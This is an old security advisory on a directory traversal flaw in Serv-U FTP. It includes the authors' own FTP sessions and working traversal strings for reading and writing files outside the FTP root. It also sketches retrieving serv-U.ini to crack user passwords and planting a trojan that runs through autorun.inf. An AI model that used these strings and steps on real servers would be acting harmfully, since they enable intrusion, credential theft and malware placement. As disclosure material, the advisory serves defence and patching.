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Securax-SA-09 Security Advisory
belgian.networking.security Dutch

Topic: Catsoft serv-U FTP Directory Transversal Vulnerability
Announced: 2000-12-03
Updated: 2000-12-03
tested on: serv-U ftp 2.4a, 2.5h, 3.0bиta,… (all versions ?)
Not affected: ?
Obsoletes: /
http://www.securax.org/pers/

THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR
RESULTS. THEREFORE WE CANNOT ENSURE THE INFORMATION BELOW IS
100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR
NOTICE.
PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING
THE BUG DISCUSSED IN THIS ADVISORY, SHARE THIS ON BUQTRAQ.
THANK YOU,

I. Background

Lets just dump what i tried: (skip this)

Normal use: 1.txt is a file in the homedir.
ftp> get 1.txt
200 PORT Command successful.
150 Opening ASCII mode data connection for 1.txt (7 bytes).
226 Transfer complete.
7 bytes received in 0.00 seconds (7000.00 Kbytes/sec)

Lets see what happens to hex codes: %2E=. %31=1 %20=space …

ftp> get 1%2etxt
200 PORT Command successful.
550 /1%2etxt: No such file or directory.
ftp>

–> %2e is not decoded

ftp> get 1.%20txt
200 PORT Command successful.
550 /1. txt: No such file or directory.

–> %20 is decoded to a space. (to be compatible with browsers)

ftp> get %201.txt
200 PORT Command successful.
150 Opening ASCII mode data connection for 1.txt (7 bytes).
226 Transfer complete.
7 bytes received in 0.00 seconds (7000.00 Kbytes/sec)

–> hey, look if the space is in the beginning of the filename,
it is just skipped.

Lets try this on the cd command:

ftp> cd \.a%20\
550 /.a: No such file or directory.

–> space is skipped again…

ftp> cd \a%20a\
550 /a a: No such file or directory.
ftp>

ftp> cd \a%20.\
550 /a: No such file or directory.
ftp>

–> heh ? wtf, the %20 will remove the .

Lets try to play around with that:

ftp> cd \.%20.
250 Directory changed to /Ftproot

–> Hey, look the ftp client reveals the ftp dir… thats fun

Lets keep playing

ftp> cd \…%20.
250 Directory changed to /…

–> oh ow, this looks like trouble

ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
-rwxrwxrwx 1 user group 1127 Nov 30 22:06 rootdir.txt
…
226 Transfer complete.
1180 bytes received in 0.00 seconds (1180000.00 Kbytes/sec)
ftp>

Ouch, that hurts…

ftp> cd %20…%20%20…/winnt\
250 Directory changed to /c:/TOMB/…/WINNT
ftp>

You can only use this when you are in your homedir.
You can only use GET … when you are in your homedir
so first changing to /winnt and then "get" will not work

ftp> put autoexec.bat %20…%20%20…/winnt/2.bat
200 PORT Command successful.
150 Opening ASCII mode data connection for 2.bat.
226 Transfer complete.
ftp> dir \…%20.\…%20.\winnt\

II. Problem Description

• Serv-U ftp will:
  reveal the full path to the ftproot with: cd \.%20.
  (even if "show path relative to home dir"-option is on )
  Using pwd will work too.

• allow read/write/execute/list axx to any other file on
  the partition of the ftproot if you have read/write/exec/list
  acces on your home dir.
  note that the option inherit subdirs must be clicked on.
  (otherwise "cd" will not work)

• Serv-U will allow listing of hidden files, even if
  "hide hidden files is on" with "DIR ."

• The exploit also works on serv-U ftp 2.4a… but you might
  have to use a different string.:
  dir %20…%20%20…\*.

III. Impact:

This is a severe bug and should be patched asap.
If the ftproot is on the c:drive, serv-U.ini can be retrieved
which contains all passwords of the ftp users.
(and can be bruted forced with john the ripper)
That way, you could find logins that allow executing… and
you can upload and execute a trojan.

Even if the ftproot is not on the same drive as serv-u.ini,
you can still upload a trojan and letting this trojan execute
by using an autorun.inf on e.g.: d:\ with points to our trojan
If the sysadmin uses "My Computer" instead of explorer.exe,
the trojan will be executed.

IV. Solution

Upgrade to version 2.5i, available at:
http://ftpserv-u.deerfield.com/download/

V. Credits

Zoa_Chien ([email protected])
Elias (pwd revealing full path)

VI. Source code
none.

---

… And they will all go down together …

Advertising:
[Zoa_Chien is currently looking for a new job, contact me at
[email protected] +32/496.45.29.89 for a resume.]